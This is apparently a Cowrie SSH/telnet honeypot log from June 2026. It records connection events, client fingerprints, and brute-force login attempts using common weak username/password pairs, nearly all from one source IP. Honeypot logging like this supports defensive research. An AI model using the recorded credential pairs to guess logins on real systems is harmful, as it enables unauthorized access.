{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:28.922800Z","src_ip":"192.109.200.78","session":"58cd786511eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb8a54bce3c","protocol":"ssh","message":"New connection: 192.109.200.78:59020 (10.17.0.5:22) [session: 3eb8a54bce3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:30.871158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:30.874646Z","src_ip":"192.109.200.78","session":"3eb8a54bce3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:30.955342Z","src_ip":"192.109.200.78","session":"3eb8a54bce3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:31.196900Z","src_ip":"192.109.200.78","session":"3eb8a54bce3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36814,"dst_ip":"10.17.0.5","dst_port":22,"session":"222a436d7d47","protocol":"ssh","message":"New connection: 103.172.78.219:36814 (10.17.0.5:22) [session: 222a436d7d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:31.286508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:31.292756Z","src_ip":"103.172.78.219","session":"222a436d7d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:31.548323Z","src_ip":"103.172.78.219","session":"222a436d7d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:32.279589Z","src_ip":"192.109.200.78","session":"3eb8a54bce3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"belgorod","message":"login attempt [root/belgorod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:32.317612Z","src_ip":"103.172.78.219","session":"222a436d7d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:33.575579Z","src_ip":"103.172.78.219","session":"222a436d7d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50950,"dst_ip":"10.17.0.5","dst_port":22,"session":"867444ff8d43","protocol":"ssh","message":"New connection: 192.109.200.78:50950 (10.17.0.5:22) [session: 867444ff8d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:34.187530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:34.191111Z","src_ip":"192.109.200.78","session":"867444ff8d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:34.363605Z","src_ip":"192.109.200.78","session":"867444ff8d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:34.719881Z","src_ip":"192.109.200.78","session":"867444ff8d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:35.802962Z","src_ip":"192.109.200.78","session":"867444ff8d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50964,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec9ea5b0eb50","protocol":"ssh","message":"New connection: 192.109.200.78:50964 (10.17.0.5:22) [session: ec9ea5b0eb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:37.854694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:37.859868Z","src_ip":"192.109.200.78","session":"ec9ea5b0eb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:37.941174Z","src_ip":"192.109.200.78","session":"ec9ea5b0eb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:38.309811Z","src_ip":"192.109.200.78","session":"ec9ea5b0eb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:39.393568Z","src_ip":"192.109.200.78","session":"ec9ea5b0eb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50980,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c81123da2a","protocol":"ssh","message":"New connection: 192.109.200.78:50980 (10.17.0.5:22) [session: 27c81123da2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:41.340076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:41.343651Z","src_ip":"192.109.200.78","session":"27c81123da2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:41.476199Z","src_ip":"192.109.200.78","session":"27c81123da2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:41.869649Z","src_ip":"192.109.200.78","session":"27c81123da2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:42.952463Z","src_ip":"192.109.200.78","session":"27c81123da2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":35668,"dst_ip":"159.203.135.109","dst_port":23,"session":"6306a09aa12c","protocol":"telnet","message":"New connection: 103.249.87.183:35668 (159.203.135.109:23) [session: 6306a09aa12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:43.083446Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60868,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb41821d66f","protocol":"ssh","message":"New connection: 192.109.200.78:60868 (10.17.0.5:22) [session: ecb41821d66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:44.954881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:44.958498Z","src_ip":"192.109.200.78","session":"ecb41821d66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:45.039263Z","src_ip":"192.109.200.78","session":"ecb41821d66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:45.285448Z","src_ip":"192.109.200.78","session":"ecb41821d66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:46.369323Z","src_ip":"192.109.200.78","session":"ecb41821d66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60884,"dst_ip":"10.17.0.5","dst_port":22,"session":"075f2ccaf24a","protocol":"ssh","message":"New connection: 192.109.200.78:60884 (10.17.0.5:22) [session: 075f2ccaf24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:48.383731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:48.388355Z","src_ip":"192.109.200.78","session":"075f2ccaf24a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:48.636585Z","src_ip":"192.109.200.78","session":"075f2ccaf24a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:49.005637Z","src_ip":"192.109.200.78","session":"075f2ccaf24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:50.090281Z","src_ip":"192.109.200.78","session":"075f2ccaf24a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59018,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c2de071bd2","protocol":"ssh","message":"New connection: 192.109.200.78:59018 (10.17.0.5:22) [session: 92c2de071bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:52.157659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:52.161778Z","src_ip":"192.109.200.78","session":"92c2de071bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:52.242501Z","src_ip":"192.109.200.78","session":"92c2de071bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:52.485539Z","src_ip":"192.109.200.78","session":"92c2de071bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:53.569514Z","src_ip":"192.109.200.78","session":"92c2de071bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59024,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b7aaa966f7","protocol":"ssh","message":"New connection: 192.109.200.78:59024 (10.17.0.5:22) [session: 90b7aaa966f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:55.572615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:55.580376Z","src_ip":"192.109.200.78","session":"90b7aaa966f7","protocol":"ssh"}
